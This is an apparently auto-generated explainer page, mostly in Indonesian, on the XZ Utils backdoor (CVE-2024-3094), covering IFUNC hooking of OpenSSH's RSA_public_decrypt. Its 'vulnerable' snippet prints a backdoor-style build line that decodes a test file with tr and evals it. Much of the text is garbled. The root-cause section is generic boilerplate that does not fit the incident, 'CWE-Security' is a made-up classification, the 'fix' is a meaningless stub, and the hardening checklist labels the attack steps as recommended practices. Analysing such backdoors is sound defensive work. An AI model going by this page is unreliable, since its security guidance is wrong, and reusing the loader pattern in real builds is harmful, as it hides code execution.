CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

Analisis teknis kode sumber CVE-2024-3094: bagaimana modifikasi penyelesai IFUNC berbahaya di liblzma menumbangkan autentikasi OpenSSH.

💡 Penjelasan Sederhana (ELI5)

Bayangkan sebuah bank membangun lemari besi menggunakan pipa pipa standar. Cetak biru resmi bersih. Tetapi pekerja pabrik yang mengemas peti pengiriman menyelipkan kabel elektronik tak terlihat di dalam pipa. Ketika pipa disekrup ke lemari besi di Linux, kabel terhubung ke kunci pintu depan bank (OpenSSH), memungkinkan pekerja membuka lemari besi kapan saja menggunakan remote rahasia. Dalam CVE-2024-3094, pintu belakang disembunyikan di dalam skrip build di tarball rilis untuk secara rahasia memberikan akses root tanpa otentikasi melalui SSH.

Konsep Kunci & Istilah

Open Source Systems: Komponen arsitektur utama yang terpengaruh oleh CWE-Security.
CWE-Security: Klasifikasi standar Common Weakness Enumeration (CWE) untuk cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth: Verifikasi rekayasa berlapis dan isolasi batas waktu proses (runtime).

Analisis Akar Masalah (Root Cause)

Akar masalah bermula dari parameter batas yang tidak divalidasi pada sistem open source, yang memungkinkan desinkronisasi status dan bypass kontrol keamanan.

Alur Serangan Langkah demi Langkah

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

Kode Sumber: Rentan vs Aman

✕ IMPLEMENTASI RENTAN

# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt

✓ PERBAIKAN AMAN & KUAT

# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

Daftar Periksa Penguatan Sistem Rekayasa

✓Praktik keamanan yang direkomendasikan: Linux distributions linked OpenSSH to libsystemd (for startup notification), which linked liblzma for compression.:.
✓Praktik keamanan yang direkomendasikan: During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.:.
✓Praktik keamanan yang direkomendasikan: The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.:.
✓Praktik keamanan yang direkomendasikan: When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.:.

CVE-2024-3094: XZ Utils Backdoor &amp; IFUNC Hooking